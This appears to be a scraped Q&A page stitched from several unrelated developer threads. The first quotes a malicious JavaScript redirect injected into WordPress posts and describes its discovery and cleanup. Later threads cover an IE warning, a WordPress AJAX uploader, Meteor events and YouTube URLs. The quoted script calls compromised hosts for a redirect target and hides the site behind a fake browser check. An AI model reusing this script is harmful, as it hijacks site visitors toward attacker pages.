Suspicious code in WordPress any idea how to remove this? - wordpress

(function () {
//<script>
var w_location = null;
var domains = [
'http://kntsv.nl/images/tmp.php',
'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
'http://langedijke.nl/plugins/tmp.php',
'http://megateuf.edelo.net/cgi-bin/tmp.php',
'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
'http://yofeet.com/drupal/modules/tmp.php',
'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
'http://www.devonportmotors.co.nz/images/tmp.php'
];
function getDomainName(domain) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
if (xhr.responseText && xhr.responseText.trim().length > 0) {
w_location = xhr.responseText.trim();
}
}
};
xhr.open('GET', domains[0], true);
xhr.send();
}
for (var i = 0; i < domains.length; i++) {
getDomainName(domains[i]);
}
function start() {
var from = document.referrer;
var i;
// If it's direct
var eee = ["", " "];
var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
if (checkCookie()) {
return;
}
var uagent = navigator.userAgent;
if (!uagent || uagent.length == 0) {
return;
}
uagent = uagent.toLowerCase();
if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
|| uagent.indexOf('crawl') != -1) {
} else {
hideWebSite();
}
function getCookie(c_name) {
var c_value = document.cookie;
var c_start = c_value.indexOf(" " + c_name + "=");
if (c_start == -1) {
c_start = c_value.indexOf(c_name + "=");
}
if (c_start == -1) {
c_value = null;
}
else {
c_start = c_value.indexOf("=", c_start) + 1;
var c_end = c_value.indexOf(";", c_start);
if (c_end == -1) {
c_end = c_value.length;
}
c_value = unescape(c_value.substring(c_start, c_end));
}
return c_value;
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
document.cookie = c_name + "=" + c_value;
}
function checkCookie() {
if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
return true;
} else {
localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
}
var referrerRedirectCookie = getCookie("referrerRedirectCookie");
if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
return true;
} else if (document.cookie.indexOf('wordpress_logged') !== -1
|| document.cookie.indexOf('wp-settings') !== -1
|| document.cookie.indexOf('wordpress_test') !== -1) {
return true;
} else {
setCookie("referrerRedirectCookie", "do not redirect", 730);
return false;
}
}
}
function createPopup() {
var popup = document.createElement('div');
popup.style.position = 'absolute';
popup.style.width = '100%';
popup.style.height = '100%';
popup.style.left = 0;
popup.style.top = 0;
popup.style.backgroundColor = 'white';
popup.style.zIndex = 99999;
document.body.appendChild(popup);
popup.onclick = function () {
var intervalId = setInterval(() = > {
if (
!w_location
)
{
return;
}
clearInterval(intervalId);
window.location = w_location;
},
10
)
;
};
var p = document.createElement('p');
p.innerText = "Checking your browser before accessing "
+ window.location.host + "...";
p.style.textAlign = 'center';
//p.style.margin = '20px auto';
//p.style.left = '20px';
p.style.fontSize = 'x-large';
p.style.position = 'relative';
p.textContent = p.innerText;
popup.appendChild(p);
return popup;
}
function createButton() {
var button = document.createElement('div');
button.style.position = 'absolute';
button.style.top = '20%';
button.style.left = '10%';
button.style.right = '10%';
button.style.width = '80%';
button.style.border = "1px solid black";
button.style.textAlign = 'center';
button.style.verticalAlign = 'middle';
button.style.margin = '0, auto';
button.style.cursor = 'pointer';
button.style.fontSize = 'xx-large';
button.style.borderRadius = '5px';
button.onclick = function () {
window.location = w_location;
};
button.onmouseover = function () {
button.style.border = '1px solid red';
button.style.color = 'red';
};
button.onmouseout = function () {
button.style.border = '1px solid black';
button.style.color = 'black';
};
button.innerText = "Continue";
button.textContent = button.innerText;
return button;
}
var hideWebSite = function () {
var popup = createPopup();
var button = createButton();
popup.appendChild(button);
};
var readyStateCheckInterval = setInterval(function () {
if (document.readyState === 'complete'
|| document.readyState == 'interactive') {
clearInterval(readyStateCheckInterval);
start();
}
}, 10);
//</script>
})
I have tried grep across code, but couldn't find anything, I took MySQL dump of complete database, but didn't find anything there.
I ran clamscan and I can't find any issue, My doubt is on Visual Composer, but when I grep in Visual Composer I dont see this code.
UPDATE
This is what the site shows when infected:
You can check the source of that message and button (overlay, which should not be there) by going to Chrome dev tools console and see the value of variable ZJPMAWHWOE which will give you a bunch of JS code, but in the variable it is encrypted, once the code runs and gets decrypted it is the JS code posted above.
If you go to website https://sitecheck.sucuri.net/ and check for your site then you will get the infection alert from them:

Upon further investigation we found the following:
As pointed out by OP and others in comments, GREP into the website's files and other sites' files in the same server for any traces of the infected code (either encrypted or decrypted) did not give any results, meaning the infection was not in any files (at least not in that form).
We noticed some extra garbage chars at the bottom of our page where we have our "legal" disclaimer:
Tracked down what part of the final HTML had the infection (and/or garbage chars), for our case looking for JS variable ZJPMAWHWOE
Efectively, the script code was present in a known HTML piece which for us was the "legal" page that exists in one of our WordPress pages.
This was pointing now to the code being inside pages/post directly edited in WordPress. We went in and checked for the legal page and found it there (noticed the same garbage chars first):
And then while scrolling down (in Text view, to get the raw HTML of the page) we got to this:
We checked for other pages and posts in the site and the same injected code was present in them.
Once we cleaned them all the infection seems to be gone.
So now, how is that attack accomplished? our theory is that only by getting WordPress user credentials and editing the pages/posts; in our case that was fairly easy since our /wp-admin login pages are not HTTPS protected so our user and passwords can be easily sniffed; we think that was the way they got user credentials and afterwards edited the pages/posts to add the malicious code.
Besides the clean up we also did the following:
Updated the system password database
Deleted all users from WordPress; we only left in there ‘admin’ and my user (both with Administrator roles)
Updated the passwords for users ‘admin’ and my user
Recreated users with new passwords for blog editors
In progress: We are getting HTTPS for our WordPress in order to protect the user/password information that is submitted each time we login to wp-admin.
I would also like to hear about other recommendations about how to increase the security of our WordPress as well as other theories about how did they were able to inject the malicious code within the pages/posts.

Related

<a onclick"sth" .. cause IE11 warn and prompt for adding about:blank as Trusted Site

I have jqgrid on asp .NET web page.
When page is loaded and grid loads its data, after it receives json, before data is shown on grid, I get error message from IE:
Internet Explorer 11.0.9600.17728
It wants me to add about:blank to Trusted Sites.
When i click "close" rows appear.
Row`s html is as follows:
<a onclick="
OpenWindow('/13_1/Workflow.TasksWebPresUnit/TaskDetails/Index/?
taskDn=WFL///70000/.321360&isModal=True&
returnUrl=/13_1/Workflow.TasksWebPresUnit&
userId=5&
componentsToSet=test*testc', 'Details', '90%', '0', false, '¡',true);"
href="#">P01.07 Verification
</a>
No matter what I put in onclick, can be "blahblah", same with href, can be "foobar",
<a onclick="
abcd"
href="xyz">P01.07 Verification
</a>
i get that error window.
But, when I construct row's html that it not contain "onclick=sth", then i do not get this error.
Is there any way to stop IE from warning user or maybe I`m doing somethiong wrong?
Any help / clarification appreciated.
p.s. If i add about:blank to trusted sites, the problem is gone, but i don`t understand fully if this is secure solution.
Update 1: script
function OpenWindow(url, title, width, height, checkValue, multiSepar, showCloseButton) {
var progressIndImg = GLOBAL_CSS_PATH + '/Technology/modal/images/waiting.gif';
if (checkValue) {
var queryVals = parseQueryString(url);
var relatedComp = queryVals['componentToFill'];
var relatedVal = document.getElementById(relatedComp);
if (relatedVal.value != null && relatedVal.value != '') {
var win = dhtmlmodal.open('ModalBox', 'iframe', url, title, 'width=' + width + ', height=' + height + ',center=1,resize=1,scrolling=1', '', progressIndImg, showCloseButton);
win.onclose = function () {
return true;
}
}
} else {
var win = dhtmlmodal.open('ModalBox', 'iframe', url, title, 'width=' + width + ', height=' + height + ',center=1,resize=1,scrolling=1', '', progressIndImg, showCloseButton);
win.onclose = function () {
return true;
}
}
// } else {
// setInterval(checkForMessages, 200);
// }
// var ie7 = (navigator.appVersion.indexOf('MSIE 7.') == -1) ? false : true;
// if (ie7 != true) {
var onmessage = function (e) {
try {
var objects = JSON.parse(e.data);
if (window.addEventListener) {
window.removeEventListener('message', onmessage, false);
}
else if (window.attachEvent) {
window.detachEvent('onmessage', onmessage);
}
if (objects['methodName'] != null)
window[objects['methodName']](objects);
else
FillData(objects, true, multiSepar);
var close = objects['close'];
if (close == 'true') {
win.hide();
win.close();
}
}
catch (err) {
if (console)
console.error(err);
}
};
if (window.addEventListener) {
window.addEventListener('message', onmessage, false);
} else if (window.attachEvent) {
window.attachEvent('onmessage', onmessage);
}

How to upload a file from custom file in wordpress

I am using file uploader from one of the plugin.
That php file called at file onchange event by ajax.
I got a file at php.
I can upload file manually by the help of this
$target_path = "../../../uploads/extension/";
$target_path = $target_path . basename( $_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['file']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
But i want upload a file like other file uploading in Media. Its stored in uploads/2014/07 (i.e) upload/yearFolder/MonthFolder.
How to upload file like wise. I used wp_handle_upload(). but it returns undefined to call. So how to upload file.
Use the given steps
ajaxupload.3.5.js Code
/**
* Ajax upload
* Project page - http://valums.com/ajax-upload/
* Copyright (c) 2008 Andris Valums, http://valums.com
* Licensed under the MIT license (http://valums.com/mit-license/)
* Version 3.5 (23.06.2009)
*/
/**
* Changes from the previous version:
* 1. Added better JSON handling that allows to use 'application/javascript' as a response
* 2. Added demo for usage with jQuery UI dialog
* 3. Fixed IE "mixed content" issue when used with secure connections
*
* For the full changelog please visit:
* http://valums.com/ajax-upload-changelog/
*/
(function(){
var d = document, w = window;
/**
* Get element by id
*/
function get(element){
if (typeof element == "string")
element = d.getElementById(element);
return element;
}
/**
* Attaches event to a dom element
*/
function addEvent(el, type, fn){
if (w.addEventListener){
el.addEventListener(type, fn, false);
} else if (w.attachEvent){
var f = function(){
fn.call(el, w.event);
};
el.attachEvent('on' + type, f)
}
}
/**
* Creates and returns element from html chunk
*/
var toElement = function(){
var div = d.createElement('div');
return function(html){
div.innerHTML = html;
var el = div.childNodes[0];
div.removeChild(el);
return el;
}
}();
function hasClass(ele,cls){
return ele.className.match(new RegExp('(\\s|^)'+cls+'(\\s|$)'));
}
function addClass(ele,cls) {
if (!hasClass(ele,cls)) ele.className += " "+cls;
}
function removeClass(ele,cls) {
var reg = new RegExp('(\\s|^)'+cls+'(\\s|$)');
ele.className=ele.className.replace(reg,' ');
}
// getOffset function copied from jQuery lib (http://jquery.com/)
if (document.documentElement["getBoundingClientRect"]){
// Get Offset using getBoundingClientRect
// http://ejohn.org/blog/getboundingclientrect-is-awesome/
var getOffset = function(el){
var box = el.getBoundingClientRect(),
doc = el.ownerDocument,
body = doc.body,
docElem = doc.documentElement,
// for ie
clientTop = docElem.clientTop || body.clientTop || 0,
clientLeft = docElem.clientLeft || body.clientLeft || 0,
// In Internet Explorer 7 getBoundingClientRect property is treated as physical,
// while others are logical. Make all logical, like in IE8.
zoom = 1;
if (body.getBoundingClientRect) {
var bound = body.getBoundingClientRect();
zoom = (bound.right - bound.left)/body.clientWidth;
}
if (zoom > 1){
clientTop = 0;
clientLeft = 0;
}
var top = box.top/zoom + (window.pageYOffset || docElem && docElem.scrollTop/zoom || body.scrollTop/zoom) - clientTop,
left = box.left/zoom + (window.pageXOffset|| docElem && docElem.scrollLeft/zoom || body.scrollLeft/zoom) - clientLeft;
return {
top: top,
left: left
};
}
} else {
// Get offset adding all offsets
var getOffset = function(el){
if (w.jQuery){
return jQuery(el).offset();
}
var top = 0, left = 0;
do {
top += el.offsetTop || 0;
left += el.offsetLeft || 0;
}
while (el = el.offsetParent);
return {
left: left,
top: top
};
}
}
function getBox(el){
var left, right, top, bottom;
var offset = getOffset(el);
left = offset.left;
top = offset.top;
right = left + el.offsetWidth;
bottom = top + el.offsetHeight;
return {
left: left,
right: right,
top: top,
bottom: bottom
};
}
/**
* Crossbrowser mouse coordinates
*/
function getMouseCoords(e){
// pageX/Y is not supported in IE
// http://www.quirksmode.org/dom/w3c_cssom.html
if (!e.pageX && e.clientX){
// In Internet Explorer 7 some properties (mouse coordinates) are treated as physical,
// while others are logical (offset).
var zoom = 1;
var body = document.body;
if (body.getBoundingClientRect) {
var bound = body.getBoundingClientRect();
zoom = (bound.right - bound.left)/body.clientWidth;
}
return {
x: e.clientX / zoom + d.body.scrollLeft + d.documentElement.scrollLeft,
y: e.clientY / zoom + d.body.scrollTop + d.documentElement.scrollTop
};
}
return {
x: e.pageX,
y: e.pageY
};
}
/**
* Function generates unique id
*/
var getUID = function(){
var id = 0;
return function(){
return 'ValumsAjaxUpload' + id++;
}
}();
function fileFromPath(file){
return file.replace(/.*(\/|\\)/, "");
}
function getExt(file){
return (/[.]/.exec(file)) ? /[^.]+$/.exec(file.toLowerCase()) : '';
}
// Please use AjaxUpload , Ajax_upload will be removed in the next version
Ajax_upload = AjaxUpload = function(button, options){
if (button.jquery){
// jquery object was passed
button = button[0];
} else if (typeof button == "string" && /^#.*/.test(button)){
button = button.slice(1);
}
button = get(button);
this._input = null;
this._button = button;
this._disabled = false;
this._submitting = false;
// Variable changes to true if the button was clicked
// 3 seconds ago (requred to fix Safari on Mac error)
this._justClicked = false;
this._parentDialog = d.body;
if (window.jQuery && jQuery.ui && jQuery.ui.dialog){
var parentDialog = jQuery(this._button).parents('.ui-dialog');
if (parentDialog.length){
this._parentDialog = parentDialog[0];
}
}
this._settings = {
// Location of the server-side upload script
action: 'upload.php',
// File upload name
name: 'userfile',
// Additional data to send
data: {},
// Submit file as soon as it's selected
autoSubmit: true,
// The type of data that you're expecting back from the server.
// Html and xml are detected automatically.
// Only useful when you are using json data as a response.
// Set to "json" in that case.
responseType: false,
// When user selects a file, useful with autoSubmit disabled
onChange: function(file, extension){},
// Callback to fire before file is uploaded
// You can return false to cancel upload
onSubmit: function(file, extension){},
// Fired when file upload is completed
// WARNING! DO NOT USE "FALSE" STRING AS A RESPONSE!
onComplete: function(file, response) {}
};
// Merge the users options with our defaults
for (var i in options) {
this._settings[i] = options[i];
}
this._createInput();
this._rerouteClicks();
}
// assigning methods to our class
AjaxUpload.prototype = {
setData : function(data){
this._settings.data = data;
},
disable : function(){
this._disabled = true;
},
enable : function(){
this._disabled = false;
},
// removes ajaxupload
destroy : function(){
if(this._input){
if(this._input.parentNode){
this._input.parentNode.removeChild(this._input);
}
this._input = null;
}
},
/**
* Creates invisible file input above the button
*/
_createInput : function(){
var self = this;
var input = d.createElement("input");
input.setAttribute('type', 'file');
input.setAttribute('name', this._settings.name);
input.setAttribute('id', this._settings.name);
var styles = {
'position' : 'absolute'
,'margin': '-5px 0 0 -175px'
,'padding': 0
,'top': '590px !important'
,'left': '560px !important'
,'width': '110px'
,'height': '30px'
,'fontSize': '14px'
,'opacity': 0
,'cursor': 'pointer'
,'display' : 'none'
,'zIndex' : 2147483583 //Max zIndex supported by Opera 9.0-9.2x
// Strange, I expected 2147483647
};
for (var i in styles){
input.style[i] = styles[i];
}
// Make sure that element opacity exists
// (IE uses filter instead)
if ( ! (input.style.opacity === "0")){
input.style.filter = "alpha(opacity=0)";
}
this._parentDialog.appendChild(input);
addEvent(input, 'change', function(){
// get filename from input
var file = fileFromPath(this.value);
if(self._settings.onChange.call(self, file, getExt(file)) == false ){
return;
}
// Submit form when value is changed
if (self._settings.autoSubmit){
self.submit();
}
});
// Fixing problem with Safari
// The problem is that if you leave input before the file select dialog opens
// it does not upload the file.
// As dialog opens slowly (it is a sheet dialog which takes some time to open)
// there is some time while you can leave the button.
// So we should not change display to none immediately
addEvent(input, 'click', function(){
self.justClicked = true;
setTimeout(function(){
// we will wait 3 seconds for dialog to open
self.justClicked = false;
}, 3000);
});
this._input = input;
},
_rerouteClicks : function (){
var self = this;
// IE displays 'access denied' error when using this method
// other browsers just ignore click()
// addEvent(this._button, 'click', function(e){
// self._input.click();
// });
var box, dialogOffset = {top:0, left:0}, over = false;
addEvent(self._button, 'mouseover', function(e){
if (!self._input || over) return;
over = true;
box = getBox(self._button);
if (self._parentDialog != d.body){
dialogOffset = getOffset(self._parentDialog);
}
});
// we can't use mouseout on the button,
// because invisible input is over it
addEvent(document, 'mousemove', function(e){
var input = self._input;
if (!input || !over) return;
if (self._disabled){
removeClass(self._button, 'hover');
input.style.display = 'none';
return;
}
var c = getMouseCoords(e);
if ((c.x >= box.left) && (c.x <= box.right) &&
(c.y >= box.top) && (c.y <= box.bottom)){
input.style.top = c.y - dialogOffset.top + 'px';
input.style.left = c.x - dialogOffset.left + 'px';
input.style.display = 'block';
addClass(self._button, 'hover');
} else {
// mouse left the button
over = false;
if (!self.justClicked){
input.style.display = 'none';
}
removeClass(self._button, 'hover');
}
});
},
/**
* Creates iframe with unique name
*/
_createIframe : function(){
// unique name
// We cannot use getTime, because it sometimes return
// same value in safari :(
var id = getUID();
// Remove ie6 "This page contains both secure and nonsecure items" prompt
// http://tinyurl.com/77w9wh
var iframe = toElement('<iframe src="javascript:false;" name="' + id + '" />');
iframe.id = id;
iframe.style.display = 'none';
d.body.appendChild(iframe);
return iframe;
},
/**
* Upload file without refreshing the page
*/
submit : function(){
var self = this, settings = this._settings;
if (this._input.value === ''){
// there is no file
return;
}
// get filename from input
var file = fileFromPath(this._input.value);
// execute user event
if (! (settings.onSubmit.call(this, file, getExt(file)) == false)) {
// Create new iframe for this submission
var iframe = this._createIframe();
// Do not submit if user function returns false
var form = this._createForm(iframe);
form.appendChild(this._input);
form.submit();
d.body.removeChild(form);
form = null;
this._input = null;
// create new input
this._createInput();
var toDeleteFlag = false;
addEvent(iframe, 'load', function(e){
if (// For Safari
iframe.src == "javascript:'%3Chtml%3E%3C/html%3E';" ||
// For FF, IE
iframe.src == "javascript:'<html></html>';"){
// First time around, do not delete.
if( toDeleteFlag ){
// Fix busy state in FF3
setTimeout( function() {
d.body.removeChild(iframe);
}, 0);
}
return;
}
var doc = iframe.contentDocument ? iframe.contentDocument : frames[iframe.id].document;
// fixing Opera 9.26
if (doc.readyState && doc.readyState != 'complete'){
// Opera fires load event multiple times
// Even when the DOM is not ready yet
// this fix should not affect other browsers
return;
}
// fixing Opera 9.64
if (doc.body && doc.body.innerHTML == "false"){
// In Opera 9.64 event was fired second time
// when body.innerHTML changed from false
// to server response approx. after 1 sec
return;
}
var response;
if (doc.XMLDocument){
// response is a xml document IE property
response = doc.XMLDocument;
} else if (doc.body){
// response is html document or plain text
response = doc.body.innerHTML;
if (settings.responseType && settings.responseType.toLowerCase() == 'json'){
// If the document was sent as 'application/javascript' or
// 'text/javascript', then the browser wraps the text in a <pre>
// tag and performs html encoding on the contents. In this case,
// we need to pull the original text content from the text node's
// nodeValue property to retrieve the unmangled content.
// Note that IE6 only understands text/html
if (doc.body.firstChild && doc.body.firstChild.nodeName.toUpperCase() == 'PRE'){
response = doc.body.firstChild.firstChild.nodeValue;
}
if (response) {
response = window["eval"]("(" + response + ")");
} else {
response = {};
}
}
} else {
// response is a xml document
var response = doc;
}
settings.onComplete.call(self, file, response);
// Reload blank page, so that reloading main page
// does not re-submit the post. Also, remember to
// delete the frame
toDeleteFlag = true;
// Fix IE mixed content issue
iframe.src = "javascript:'<html></html>';";
});
} else {
// clear input to allow user to select same file
// Doesn't work in IE6
// this._input.value = '';
d.body.removeChild(this._input);
this._input = null;
// create new input
this._createInput();
}
},
/**
* Creates form, that will be submitted to iframe
*/
_createForm : function(iframe){
var settings = this._settings;
// method, enctype must be specified here
// because changing this attr on the fly is not allowed in IE 6/7
var form = toElement('<form method="post" enctype="multipart/form-data"></form>');
form.style.display = 'none';
form.action = settings.action;
form.target = iframe.name;
d.body.appendChild(form);
// Create hidden input element for each data key
for (var prop in settings.data){
var el = d.createElement("input");
el.type = 'hidden';
el.name = prop;
el.value = settings.data[prop];
form.appendChild(el);
}
return form;
}
};
})();
add this file in your header(like:<script type="text/javascript" src="<?php print get_stylesheet_directory_uri() ;?>/js/ajaxupload.3.5.js" ></script> )
Now place this code below it in header
<script type="text/javascript" >
jQuery(function(){
var btnUpload=jQuery('#upload');
var status=jQuery('#status');
new AjaxUpload(btnUpload, {
action: '<?php echo get_template_directory_uri();?>/upload-file.php',
name: 'uploadfile',
onSubmit: function(file, ext){
if (! (ext && /^(jpg|png|jpeg|gif)$/.test(ext))){
// extension is not allowed
status.text('Only JPG, PNG or GIF files are allowed');
return false;
}
//status.text('Uploading...');
status.html('<img style="float:right;position:absolute;right:-30px;top:10px" width="16" border="0" height="16" alt="" src="<?php echo get_template_directory_uri(); ?>/img/ajax-loader.gif" id="pleasewait">');
},
onComplete: function(file, response){
//alert(response);
//On completion clear the status
status.text('');
//Add uploaded file to list
if(response!='error'){
//jQuery('<li></li>').appendTo('#files').html('<img src="'+response+'" alt="" /><br />'+file).addClass('success');
jQuery('<li></li>').appendTo('#files').html(file).addClass('success');
jQuery('<input type="hidden" id="uploaded-pres" value="'+response+'"/>').appendTo('#files');
} else{
jQuery('<li></li>').appendTo('#files').text(file).addClass('error');
}
}
});
});
</script>
Now make a upload-file.php in root folder
<?php
include_once('../../../wp-load.php');
if ( ! function_exists( 'wp_handle_upload' ) ) require_once( ABSPATH . 'wp-admin/includes/file.php' );
$uploadedfile = $_FILES['uploadfile'];
$upload_overrides = array( 'test_form' => false );
$movefile = wp_handle_upload( $uploadedfile, $upload_overrides );
if ( $movefile ) {
//echo "File is successfully uploaded.\n";
echo $movefile['url'];
} else {
echo "error";
}
?>
And lastly in html where you want to use upload button just put this
<div id="upload" ><span>Upload File<span></div><span id="status" ></span>
<ul id="files" ></ul>
Note: Its looking lengthy because i have written the js file code and php code at one place.
So arrange these file.

Dealing with EventEmitter events in Meteor?

I am trying to use an Asterisk Manager NPM module in Meteor, but am having difficulties with processing emitted events.
This NPM module establishes a permanent connection to Asterisk Manager and emits whatever Events it receives from Asterisk. I've managed to patch the code so that it runs in Meteor. It connects to Asterisk, emits events and I can log them to console, but once I try to do something with the data, like insert it into a collection, I receive the following error:
Error: Meteor code must always run within a Fiber. Try wrapping callbacks that you pass to non-Meteor libraries with Meteor.bindEnvironment.
How do I overcome that? Thank you.
server side code:
var ami = new AsteriskManager( { username: 'meteor', password: '123456' } );
ami.on('ami_data', function(data){
console.log(data); // <- this works fine
// the following causes the error
EventsLog.insert({ timestamp: (new Date()).getTime(),
data: data});
});
ami.connect(function(){});//creates a socket connection and sends the login action
the patched npm module code:
var util = Npm.require('util');
var events = Npm.require('events').EventEmitter;
var net = Npm.require('net');
var AsteriskConstructor = function AsteriskManager(params){
params = params || {};
this.net = net;
this.CRLF = "\r\n";
this.END = "\r\n\r\n";
this.buffer = "";
this.port = params.port || 5038;
this.host = params.host || 'localhost';
this.username = params.username || 'username';
this.password = params.password || 'password';
this.enable_debug = params.debug || false;
this.reconnect = params.reconnect || false;
this.reconnect_after = params.reconnect_after || 3000;
this.events = (params.events != undefined ? params.events : true);
this.identifier = params.identifier || false;
this.ami_encoding = params.ami_encoding || 'ascii';
};
AsteriskManager = AsteriskConstructor;
util.inherits(AsteriskManager, events);
AsteriskManager.prototype.connect = function(connect_cb, data_cb){
var self = this;
self.debug('running ami connect');
self.socket = null;
self.socket = this.net.createConnection(this.port, this.host);//reopen it
self.socket.setEncoding(this.ami_encoding);
self.socket.setKeepAlive(true, 500);
self.socket.on('connect', function(){
self.debug('connected to Asterisk AMI');
//login to the manager interface
self.send({Action: 'login', Username : self.username, Secret : self.password, Events: (self.events ? 'on' : 'off')});
if(connect_cb && typeof connect_cb == 'function'){
connect_cb();
}
}).on('data', function(data){
if(data_cb && typeof data_cb == 'function'){
data_cb(data);
}
var all_events = self.processData(data);
for(var i in all_events){
var result = all_events[i];
if(result.response && result.message && /Authentication/gi.exec(result.message) == 'Authentication'){
self.emit('ami_login', ((result.response == 'Success') ? true : false) ,result);
}
self.emit('ami_data', result);
}
}).on('drain', function(){
self.debug('Asterisk Socket connection drained');
self.emit('ami_socket_drain');
}).on('error', function(error){
if(error){
self.debug('Asterisk Socket connection error, error was: ' + error);//prob lost connection to ami due to asterisk restarting so restart the connection
}
self.emit('ami_socket_error', error);
}).on('timeout',function(){
self.debug('Asterisk Socket connection has timed out');
self.emit('ami_socket_timeout');
}).on('end', function() {
self.debug('Asterisk Socket connection ran end event');
self.emit('ami_socket_end');
}).on('close', function(had_error){
self.debug('Asterisk Socket connection closed, error status - ' + had_error);
self.emit('ami_socket_close', had_error);
if(self.reconnect){
self.debug('Reconnecting to AMI in ' + self.reconnect_after);
setTimeout(function() {
self.connect(connect_cb, data_cb);
}, self.reconnect_after);
}
});
}
AsteriskManager.prototype.disconnect = function(){
this.reconnect = false;//just in case we wanted it to reconnect before, we've asked for it to be closed this time so make sure it doesnt reconnect
this.socket.end(this.generateSocketData({Action: 'Logoff'}));
}
AsteriskManager.prototype.destroy = function(){
this.socket.destroy();
}
AsteriskManager.prototype.processData = function(data, cb){
/*
Thanks to mscdex for this bit of code that takes many lots of data and sorts them out into one if needed!
https://github.com/mscdex/node-asterisk/blob/master/asterisk.js
*/
data = data.toString();
if (data.substr(0, 21) == "Asterisk Call Manager"){
data = data.substr(data.indexOf(this.CRLF)+2); // skip the server greeting when first connecting
}
this.buffer += data;
var iDelim, info, headers, kv, type, all_events = [];
while ((iDelim = this.buffer.indexOf(this.END)) > -1) {
info = this.buffer.substring(0, iDelim+2).split(this.CRLF);
this.buffer = this.buffer.substr(iDelim + 4);
result = {}; type = ""; kv = [];
for (var i=0,len=info.length; i<len; i++) {
if (info[i].indexOf(": ") == -1){
continue;
}
kv = info[i].split(": ", 2);
kv[0] = kv[0].toLowerCase().replace("-", "");
if (i==0){
type = kv[0];
}
result[kv[0]] = kv[1];
}
if(this.identifier){
result.identifier = this.identifier;
}
all_events.push(result);
}
return all_events;
}
AsteriskManager.prototype.debug = function(data){
if(this.enable_debug){
console.log(data);
}
}
AsteriskManager.prototype.generateRandom = function(){
return Math.floor(Math.random()*100000000000000000);
}
AsteriskManager.prototype.generateSocketData = function(obj){
var str = '';
for(var i in obj){
str += (i + ': ' + obj[i] + this.CRLF);
}
return str + this.CRLF;
}
AsteriskManager.prototype.send = function(obj, cb) {
//check state of connection here, if not up then bail out
if(!obj.ActionID){
obj.ActionID = this.generateRandom();
}
//maybe i should be checking if this socket is writeable
if(this.socket != null && this.socket.writable){
this.debug(obj);
this.socket.write(this.generateSocketData(obj), this.ami_encoding, cb);
}else{
this.debug('cannot write to Asterisk Socket');
this.emit('ami_socket_unwritable');
}
}
As the error message says "Try wrapping callbacks that you pass to non-Meteor libraries with Meteor.bindEnvironment"
ami.on('ami_data', Meteor.bindEnvironment( function(data){
console.log(data); // <- this works fine
// the following causes the error
EventsLog.insert({ timestamp: (new Date()).getTime(),
data: data});
}, function( error) { console.log( error);})
);
There are a lot of other examples around.
If the server code above is not in a Fiber you might get "Meteor code must always run within a Fiber" error.

Load denied by X-Frame-Options: http://www.youtube.com/v/g5RM5StrMXY does not permit cross-origin framing

I have a website in ASP.NET.
After page load, I am getting below error.
Error:
Load denied by X-Frame-Options: http://www.youtube.com/v/lgZBsWGaQY0&feature does not permit cross-origin framing.
Due to this error, youtube video is not able to open in iframe.
<div style="display: none; position: relative;">
<div id="divYouTubeClasses">
<iframe id="Iframe1" style="background-color: White !important; border: 0;" width="835"
height="430" src="http://www.youtube.com/v/g5RM5StrMXY" scrolling="no"></iframe>
</div>
</div>
Please provide some solution for this error.
Original URL in Query
http://www.youtube.com/v/lgZBsWGaQY0&feature
Expected URL
http://www.youtube.com/embed/lgZBsWGaQY0?autoplay=1
YouTube Urls must be cleaned and normalized before inserting them into an iframe. Here is my Common js compliant library I created to clean and normalize YouTube urls.
var getVidId = function(url)
{
var vidId;
if(url.indexOf("youtube.com/watch?v=") !== -1)//https://m.youtube.com/watch?v=e3S9KINoH2M
{
vidId = url.substr(url.indexOf("youtube.com/watch?v=") + 20);
}
else if(url.indexOf("youtube.com/watch/?v=") !== -1)//https://m.youtube.com/watch/?v=e3S9KINoH2M
{
vidId = url.substr(url.indexOf("youtube.com/watch/?v=") + 21);
}
else if(url.indexOf("youtu.be") !== -1)
{
vidId = url.substr(url.indexOf("youtu.be") + 9);
}
else if(url.indexOf("www.youtube.com/embed/") !== -1)
{
vidId = url.substr(url.indexOf("www.youtube.com/embed/") + 22);
}
else if(url.indexOf("?v=") !== -1)// http://m.youtube.com/?v=tbBTNCfe1Bc
{
vidId = url.substr(url.indexOf("?v=")+3, 11);
}
else
{
console.warn("YouTubeUrlNormalize getVidId not a youTube Video: "+url);
vidId = null;
}
if(vidId.indexOf("&") !== -1)
{
vidId = vidId.substr(0, vidId.indexOf("&") );
}
return vidId;
};
var YouTubeUrlNormalize = function(url)
{
var rtn = url;
if(url)
{
var vidId = getVidId(url);
if(vidId)
{
rtn = "https://www.youtube.com/embed/"+vidId;
}
else
{
rtn = url;
}
}
return rtn;
};
YouTubeUrlNormalize.getThumbnail = function(url, num)
{
var rtn, vidId = getVidId(url);
if(vidId)
{
if(!isNaN(num) && num <= 4 && num >= 0)
{
rtn = "http://img.youtube.com/vi/"+vidId+"/"+num+".jpg";
}
else
{
rtn = "http://img.youtube.com/vi/"+getVidId(url)+"/default.jpg";
}
}
else
{
return null;
}
return rtn;
};
YouTubeUrlNormalize.getFullImage = function(url)
{
var vidId = getVidId(url);
if(vidId)
{
return "http://img.youtube.com/vi/"+vidId+"/0.jpg";
}
else
{
return null;
}
};
if ( typeof exports !== "undefined" ) {
module.exports = YouTubeUrlNormalize;
}
else if ( typeof define === "function" ) {
define( function () {
return YouTubeUrlNormalize;
} );
}
else {
window.YouTubeUrlNormalize = YouTubeUrlNormalize;
}
Updated to accommodate YouTube Mobile urls. ie: m.youtube.com
Updated to get images as well, and protect against GET vars in the url
These steps will make you understand how it is done :
Use the youtube site to find the video you want
Click the 'Share' button below the video
